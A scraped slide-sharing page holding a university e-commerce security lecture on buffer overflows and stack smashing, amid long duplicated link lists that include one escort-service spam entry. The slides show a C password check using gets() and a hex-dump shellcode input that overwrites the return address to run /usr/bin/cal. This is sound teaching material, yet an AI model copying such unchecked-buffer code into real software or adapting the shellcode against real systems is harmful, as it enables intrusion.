Lecture 12  exceptionsLecture 12  exceptions
Lecture 12 exceptions
 
Exploiting Memory Overflows
Exploiting Memory OverflowsExploiting Memory Overflows
Exploiting Memory Overflows
 
Evaluation of Web Application Vulnerability Scanners
Evaluation of  Web Application Vulnerability ScannersEvaluation of  Web Application Vulnerability Scanners
Evaluation of Web Application Vulnerability Scanners
 
Stopping zero day threats
Stopping zero day threatsStopping zero day threats
Stopping zero day threats
 
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)
 
CAPTCHA
CAPTCHACAPTCHA
CAPTCHA
 
Captcha
CaptchaCaptcha
Captcha
 
Captcha seminar
Captcha seminar Captcha seminar
Captcha seminar
 
Security Threats to Electronic Commerce
Security Threats to Electronic CommerceSecurity Threats to Electronic Commerce
Security Threats to Electronic Commerce
 
6. Security Threats with E-Commerce
6. Security Threats with E-Commerce6. Security Threats with E-Commerce
6. Security Threats with E-Commerce
 
Security Information and Event Management (SIEM)
Security Information and Event Management (SIEM)Security Information and Event Management (SIEM)
Security Information and Event Management (SIEM)
 
Concurrency control
Concurrency controlConcurrency control
Concurrency control
 
Network Security Threats and Solutions
Network Security Threats and SolutionsNetwork Security Threats and Solutions
Network Security Threats and Solutions
 

Similar to E-Commerce Security - Application attacks - Server Attacks

Windows kernel debugging workshop in florida
Windows kernel debugging   workshop in floridaWindows kernel debugging   workshop in florida
Windows kernel debugging workshop in floridaSisimon Soman
 
Windows Debugging with WinDbg
Windows Debugging with WinDbgWindows Debugging with WinDbg
Windows Debugging with WinDbgArno Huetter
 
Understanding Autovacuum
Understanding AutovacuumUnderstanding Autovacuum
Understanding AutovacuumDan Robinson
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Pluginsamiable_indian
 
IBM Infosphere Datastage Interview Questions-1.pdf
IBM Infosphere Datastage Interview Questions-1.pdfIBM Infosphere Datastage Interview Questions-1.pdf
IBM Infosphere Datastage Interview Questions-1.pdfSrawanSinghRao1
 
Static analysis and writing C/C++ of high quality code for embedded systems
Static analysis and writing C/C++ of high quality code for embedded systemsStatic analysis and writing C/C++ of high quality code for embedded systems
Static analysis and writing C/C++ of high quality code for embedded systemsAndrey Karpov
 
Csw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemesCsw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemesCanSecWest
 
The forgotten art of assembly
The forgotten art of assemblyThe forgotten art of assembly
The forgotten art of assemblyMarian Marinov
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)Alexandre Moneger
 
Linux Kernel Crashdump
Linux Kernel CrashdumpLinux Kernel Crashdump
Linux Kernel CrashdumpMarian Marinov
 
Writing DSLs with Parslet - Wicked Good Ruby Conf
Writing DSLs with Parslet - Wicked Good Ruby ConfWriting DSLs with Parslet - Wicked Good Ruby Conf
Writing DSLs with Parslet - Wicked Good Ruby ConfJason Garber
 
OpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer DisastersOpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer DisastersConnor McDonald
 
Profiling of Oracle Function Calls
Profiling of Oracle Function CallsProfiling of Oracle Function Calls
Profiling of Oracle Function CallsEnkitec
 
Windbg랑 친해지기
Windbg랑 친해지기Windbg랑 친해지기
Windbg랑 친해지기Ji Hun Kim
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit44CON
 

Similar to E-Commerce Security - Application attacks - Server Attacks (20)

Windows kernel debugging workshop in florida
Windows kernel debugging   workshop in floridaWindows kernel debugging   workshop in florida
Windows kernel debugging workshop in florida
 
Windows Debugging with WinDbg
Windows Debugging with WinDbgWindows Debugging with WinDbg
Windows Debugging with WinDbg
 
Understanding Autovacuum
Understanding AutovacuumUnderstanding Autovacuum
Understanding Autovacuum
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
Debugging TV Frame 0x24
Debugging TV Frame 0x24Debugging TV Frame 0x24
Debugging TV Frame 0x24
 
JVM Mechanics
JVM MechanicsJVM Mechanics
JVM Mechanics
 
What the Fax!?
What the Fax!?What the Fax!?
What the Fax!?
 
IBM Infosphere Datastage Interview Questions-1.pdf
IBM Infosphere Datastage Interview Questions-1.pdfIBM Infosphere Datastage Interview Questions-1.pdf
IBM Infosphere Datastage Interview Questions-1.pdf
 
Static analysis and writing C/C++ of high quality code for embedded systems
Static analysis and writing C/C++ of high quality code for embedded systemsStatic analysis and writing C/C++ of high quality code for embedded systems
Static analysis and writing C/C++ of high quality code for embedded systems
 
Csw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemesCsw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemes
 
The forgotten art of assembly
The forgotten art of assemblyThe forgotten art of assembly
The forgotten art of assembly
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
Unix executable buffer overflow
Unix executable buffer overflowUnix executable buffer overflow
Unix executable buffer overflow
 
20141106 asfws unicode_hacks
20141106 asfws unicode_hacks20141106 asfws unicode_hacks
20141106 asfws unicode_hacks
 
Linux Kernel Crashdump
Linux Kernel CrashdumpLinux Kernel Crashdump
Linux Kernel Crashdump
 
Writing DSLs with Parslet - Wicked Good Ruby Conf
Writing DSLs with Parslet - Wicked Good Ruby ConfWriting DSLs with Parslet - Wicked Good Ruby Conf
Writing DSLs with Parslet - Wicked Good Ruby Conf
 
OpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer DisastersOpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer Disasters
 
Profiling of Oracle Function Calls
Profiling of Oracle Function CallsProfiling of Oracle Function Calls
Profiling of Oracle Function Calls
 
Windbg랑 친해지기
Windbg랑 친해지기Windbg랑 친해지기
Windbg랑 친해지기
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
 

More from phanleson

Learning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with SparkLearning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with Sparkphanleson
 
Firewall - Network Defense in Depth Firewalls
Firewall - Network Defense in Depth FirewallsFirewall - Network Defense in Depth Firewalls
Firewall - Network Defense in Depth Firewallsphanleson
 
Mobile Security - Wireless hacking
Mobile Security - Wireless hackingMobile Security - Wireless hacking
Mobile Security - Wireless hackingphanleson
 
Authentication in wireless - Security in Wireless Protocols
Authentication in wireless - Security in Wireless ProtocolsAuthentication in wireless - Security in Wireless Protocols
Authentication in wireless - Security in Wireless Protocolsphanleson
 
Hacking web applications
Hacking web applicationsHacking web applications
Hacking web applicationsphanleson
 
HBase In Action - Chapter 04: HBase table design
HBase In Action - Chapter 04: HBase table designHBase In Action - Chapter 04: HBase table design
HBase In Action - Chapter 04: HBase table designphanleson
 
HBase In Action - Chapter 10 - Operations
HBase In Action - Chapter 10 - OperationsHBase In Action - Chapter 10 - Operations
HBase In Action - Chapter 10 - Operationsphanleson
 
Hbase in action - Chapter 09: Deploying HBase
Hbase in action - Chapter 09: Deploying HBaseHbase in action - Chapter 09: Deploying HBase
Hbase in action - Chapter 09: Deploying HBasephanleson
 
Learning spark ch11 - Machine Learning with MLlib
Learning spark ch11 - Machine Learning with MLlibLearning spark ch11 - Machine Learning with MLlib
Learning spark ch11 - Machine Learning with MLlibphanleson
 
Learning spark ch10 - Spark Streaming
Learning spark ch10 - Spark StreamingLearning spark ch10 - Spark Streaming
Learning spark ch10 - Spark Streamingphanleson
 
Learning spark ch09 - Spark SQL
Learning spark ch09 - Spark SQLLearning spark ch09 - Spark SQL
Learning spark ch09 - Spark SQLphanleson
 
Learning spark ch07 - Running on a Cluster
Learning spark ch07 - Running on a ClusterLearning spark ch07 - Running on a Cluster
Learning spark ch07 - Running on a Clusterphanleson
 
Learning spark ch06 - Advanced Spark Programming
Learning spark ch06 - Advanced Spark ProgrammingLearning spark ch06 - Advanced Spark Programming
Learning spark ch06 - Advanced Spark Programmingphanleson
 
Learning spark ch05 - Loading and Saving Your Data
Learning spark ch05 - Loading and Saving Your DataLearning spark ch05 - Loading and Saving Your Data
Learning spark ch05 - Loading and Saving Your Dataphanleson
 
Learning spark ch04 - Working with Key/Value Pairs
Learning spark ch04 - Working with Key/Value PairsLearning spark ch04 - Working with Key/Value Pairs
Learning spark ch04 - Working with Key/Value Pairsphanleson
 
Learning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with SparkLearning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with Sparkphanleson
 
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about LibertagiaHướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagiaphanleson
 
Lecture 1 - Getting to know XML
Lecture 1 - Getting to know XMLLecture 1 - Getting to know XML
Lecture 1 - Getting to know XMLphanleson
 
Lecture 4 - Adding XTHML for the Web
Lecture  4 - Adding XTHML for the WebLecture  4 - Adding XTHML for the Web
Lecture 4 - Adding XTHML for the Webphanleson
 
Lecture 2 - Using XML for Many Purposes
Lecture 2 - Using XML for Many PurposesLecture 2 - Using XML for Many Purposes
Lecture 2 - Using XML for Many Purposesphanleson
 

More from phanleson (20)

Learning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with SparkLearning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with Spark
 
Firewall - Network Defense in Depth Firewalls
Firewall - Network Defense in Depth FirewallsFirewall - Network Defense in Depth Firewalls
Firewall - Network Defense in Depth Firewalls
 
Mobile Security - Wireless hacking
Mobile Security - Wireless hackingMobile Security - Wireless hacking
Mobile Security - Wireless hacking
 
Authentication in wireless - Security in Wireless Protocols
Authentication in wireless - Security in Wireless ProtocolsAuthentication in wireless - Security in Wireless Protocols
Authentication in wireless - Security in Wireless Protocols
 
Hacking web applications
Hacking web applicationsHacking web applications
Hacking web applications
 
HBase In Action - Chapter 04: HBase table design
HBase In Action - Chapter 04: HBase table designHBase In Action - Chapter 04: HBase table design
HBase In Action - Chapter 04: HBase table design
 
HBase In Action - Chapter 10 - Operations
HBase In Action - Chapter 10 - OperationsHBase In Action - Chapter 10 - Operations
HBase In Action - Chapter 10 - Operations
 
Hbase in action - Chapter 09: Deploying HBase
Hbase in action - Chapter 09: Deploying HBaseHbase in action - Chapter 09: Deploying HBase
Hbase in action - Chapter 09: Deploying HBase
 
Learning spark ch11 - Machine Learning with MLlib
Learning spark ch11 - Machine Learning with MLlibLearning spark ch11 - Machine Learning with MLlib
Learning spark ch11 - Machine Learning with MLlib
 
Learning spark ch10 - Spark Streaming
Learning spark ch10 - Spark StreamingLearning spark ch10 - Spark Streaming
Learning spark ch10 - Spark Streaming
 
Learning spark ch09 - Spark SQL
Learning spark ch09 - Spark SQLLearning spark ch09 - Spark SQL
Learning spark ch09 - Spark SQL
 
Learning spark ch07 - Running on a Cluster
Learning spark ch07 - Running on a ClusterLearning spark ch07 - Running on a Cluster
Learning spark ch07 - Running on a Cluster
 
Learning spark ch06 - Advanced Spark Programming
Learning spark ch06 - Advanced Spark ProgrammingLearning spark ch06 - Advanced Spark Programming
Learning spark ch06 - Advanced Spark Programming
 
Learning spark ch05 - Loading and Saving Your Data
Learning spark ch05 - Loading and Saving Your DataLearning spark ch05 - Loading and Saving Your Data
Learning spark ch05 - Loading and Saving Your Data
 
Learning spark ch04 - Working with Key/Value Pairs
Learning spark ch04 - Working with Key/Value PairsLearning spark ch04 - Working with Key/Value Pairs
Learning spark ch04 - Working with Key/Value Pairs
 
Learning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with SparkLearning spark ch01 - Introduction to Data Analysis with Spark
Learning spark ch01 - Introduction to Data Analysis with Spark
 
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about LibertagiaHướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
 
Lecture 1 - Getting to know XML
Lecture 1 - Getting to know XMLLecture 1 - Getting to know XML
Lecture 1 - Getting to know XML
 
Lecture 4 - Adding XTHML for the Web
Lecture  4 - Adding XTHML for the WebLecture  4 - Adding XTHML for the Web
Lecture 4 - Adding XTHML for the Web
 
Lecture 2 - Using XML for Many Purposes
Lecture 2 - Using XML for Many PurposesLecture 2 - Using XML for Many Purposes
Lecture 2 - Using XML for Many Purposes
 

Recently uploaded

Transaction Management in Database Management System
Transaction Management in Database Management SystemTransaction Management in Database Management System
Transaction Management in Database Management SystemChristalin Nelson
 
FILIPINO PSYCHology sikolohiyang pilipino
FILIPINO PSYCHology sikolohiyang pilipinoFILIPINO PSYCHology sikolohiyang pilipino
FILIPINO PSYCHology sikolohiyang pilipinojohnmickonozaleda
 
4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptxmary850239
 
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdf
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdfGrade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdf
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdfJemuel Francisco
 
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATION
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATIONTHEORIES OF ORGANIZATION-PUBLIC ADMINISTRATION
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATIONHumphrey A Beña
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Celine George
 
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)lakshayb543
 
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptxAUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptxiammrhaywood
 
Keynote by Prof. Wurzer at Nordex about IP-design
Keynote by Prof. Wurzer at Nordex about IP-designKeynote by Prof. Wurzer at Nordex about IP-design
Keynote by Prof. Wurzer at Nordex about IP-designMIPLM
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYKayeClaireEstoconing
 
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...JhezDiaz1
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4MiaBumagat1
 
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdf
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdfLike-prefer-love -hate+verb+ing & silent letters & citizenship text.pdf
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdfMr Bounab Samir
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...Postal Advocate Inc.
 
Student Profile Sample - We help schools to connect the data they have, with ...
Student Profile Sample - We help schools to connect the data they have, with ...Student Profile Sample - We help schools to connect the data they have, with ...
Student Profile Sample - We help schools to connect the data they have, with ...Seán Kennedy
 
How to do quick user assign in kanban in Odoo 17 ERP
How to do quick user assign in kanban in Odoo 17 ERPHow to do quick user assign in kanban in Odoo 17 ERP
How to do quick user assign in kanban in Odoo 17 ERPCeline George
 

Recently uploaded (20)

Transaction Management in Database Management System
Transaction Management in Database Management SystemTransaction Management in Database Management System
Transaction Management in Database Management System
 
FILIPINO PSYCHology sikolohiyang pilipino
FILIPINO PSYCHology sikolohiyang pilipinoFILIPINO PSYCHology sikolohiyang pilipino
FILIPINO PSYCHology sikolohiyang pilipino
 
YOUVE GOT EMAIL_FINALS_EL_DORADO_2024.pptx
YOUVE GOT EMAIL_FINALS_EL_DORADO_2024.pptxYOUVE GOT EMAIL_FINALS_EL_DORADO_2024.pptx
YOUVE GOT EMAIL_FINALS_EL_DORADO_2024.pptx
 
4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx
 
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdf
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdfGrade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdf
Grade 9 Quarter 4 Dll Grade 9 Quarter 4 DLL.pdf
 
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptxLEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
 
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATION
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATIONTHEORIES OF ORGANIZATION-PUBLIC ADMINISTRATION
THEORIES OF ORGANIZATION-PUBLIC ADMINISTRATION
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
 
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
 
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptxAUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
 
Keynote by Prof. Wurzer at Nordex about IP-design
Keynote by Prof. Wurzer at Nordex about IP-designKeynote by Prof. Wurzer at Nordex about IP-design
Keynote by Prof. Wurzer at Nordex about IP-design
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
 
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
 
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...
ENGLISH 7_Q4_LESSON 2_ Employing a Variety of Strategies for Effective Interp...
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4
 
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptxFINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
 
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdf
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdfLike-prefer-love -hate+verb+ing & silent letters & citizenship text.pdf
Like-prefer-love -hate+verb+ing & silent letters & citizenship text.pdf
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
 
Student Profile Sample - We help schools to connect the data they have, with ...
Student Profile Sample - We help schools to connect the data they have, with ...Student Profile Sample - We help schools to connect the data they have, with ...
Student Profile Sample - We help schools to connect the data they have, with ...
 
How to do quick user assign in kanban in Odoo 17 ERP
How to do quick user assign in kanban in Odoo 17 ERPHow to do quick user assign in kanban in Odoo 17 ERP
How to do quick user assign in kanban in Odoo 17 ERP
 

E-Commerce Security - Application attacks - Server Attacks

  • 2. Vulnerability and Exploits  Software Defects:  A software defect is the encoding of a human error into the software, including omissions.  Security Flaw:  A security flaw is a software defect that poses a potential security risk.  Eliminating software defects eliminate security flaws.  A vulnerability is a set of conditions that allows an attacker to violate an explicit or implicit security policy.  Not all security flaws lead to vulnerabilities.  A security flaw can cause a program to be vulnerable to attack.  Vulnerabilities can also exist without a security flaw.
  • 3. Vulnerabilities and Exploits  Exploit: Proof-of-concept exploits are developed to prove the existence of a vulnerability. Proof-of-concept exploits are beneficial when properly managed. Proof-of-concept exploit in the wrong hands can be quickly transformed into a worm or virus or used in an attack.
  • 4. Pointer Subterfuge  Pointer Subterfuge modify a pointer’s value. Function pointers are overwritten to transfer control to an attacker supplied shellcode. Data pointers can also be changed to modify the program flow according to the attacker’s wishes.
  • 5. COEN 351 E-Commerce Security  E-Commerce Security Course Homepage  Lecture Notes
  • 6. Pointer Subterfuge  Using a buffer overflow:  Buffer must be allocated in the same segment as the target pointer.  Buffer must have a lower memory address than the target pointer.  Buffer must be susceptible to a buffer overflow exploit.
  • 7. Buffer Overflow  A buffer overflow occurs when data is written outside of the boundaries of the memory allocated to a particular data structure. Source Memory Allocated Memory (8 Bytes) 11 Bytes of Data Copy Operation Other Memory
  • 8. Buffer Overflow  Process Memory Organization Code or Text: Instructions and read only data Data: Initialized data, uninitialized data, static variables, global variables Heap: Dynamically allocated variables Stack: Local variables, return addresses, etc.
  • 9. Stack Smashing  When calling a subroutine / function:  Stack stores the return address  Stack stores arguments, return values  Stack stores variables local to the subroutine  Information pushed on the stack for a subroutine call is called a frame.  Address of frame is stored in the frame or base point register.  epb on Intel architectures
  • 10. Stack Smashing #include <iostream> bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool PwStatus; puts("Enter password:"); PwStatus = IsPasswordOkay(); if (PwStatus == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); }
  • 11. Stack Smashing Storage for PwStatus (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) … Program stack before call to IsPasswordOkay() puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus==true) puts("Hello, Master"); else puts("Access denied"); Stack
  • 12. Stack Smashing Storage for Password (8 Bytes) Caller EBP – Frame Ptr main (4 bytes) Return Addr Caller – main (4 Bytes) Storage for PwStatus (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) … Program stack during call to IsPasswordOkay() puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied"); bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false) } Stack
  • 13. Stack Smashing Program stack after call to IsPasswordOkay() puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied"); Storage for Password (8 Bytes) Caller EBP – Frame Ptr main (4 bytes) Return Addr Caller – main (4 Bytes) Storage for PwStatus (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) … Stack
  • 14. Stack Smashing  What happens if we enter more than 7 characters of an input string? #include <iostream> bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool PwStatus; puts("Enter password:"); PwStatus = IsPasswordOkay(); if (PwStatus == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); }
  • 15. Stack Smashing bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false) } Storage for Password (8 Bytes) “12345678” Caller EBP – Frame Ptr main (4 bytes) “9012” Return Addr Caller – main (4 Bytes) “3456” Storage for PwStatus (4 bytes) “7890” Caller EBP – Frame Ptr OS (4 bytes) “0” Return Addr of main – OS (4 Bytes) … Stack The return address and other data on the stack is over written because the memory space allocated for the password can only hold a maximum 7 character plus the NULL terminator.
  • 16. Stack Smashing  A specially crafted string “abcdefghijklW►*!” produced the following result:
  • 17. Stack Smashing The string “abcdefghijklW►*!” overwrote 9 extra bytes of memory on the stack changing the callers return address thus skipping the execution of line 3 Storage for Password (8 Bytes) “abcdefgh” Caller EBP – Frame Ptr main (4 bytes) “ijkl” Return Addr Caller – main (4 Bytes) “W►*!” (return to line 4 was line 3) Storage for PwStatus (4 bytes) “/0” Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) Stack Line Statement 1 puts("Enter Password:"); 2 PwStatus=ISPasswordOkay (); 3 if (PwStatus ==true) 4 puts("Hello, Master"); 5 else puts("Access denied");
  • 18. Stack Smashing  A buffer overflow can be exploited by Changing the return address in order to change the program flow (arc-injection) Change the return address to point into the buffer where it contains some malicious code (Code injection)
  • 19. Stack Smashing  The get password program can be exploited to execute arbitrary code by providing the following binary data file as input: 000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  This exploit is specific to Red Hat Linux 9.0 and GCC
  • 20. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The first 16 bytes of binary data fill the allocated storage space for the password.  NOTE: Even though the program only allocated 12 bytes for the password, the version of the gcc compiler used allocates stack data in multiples of 16 bytes
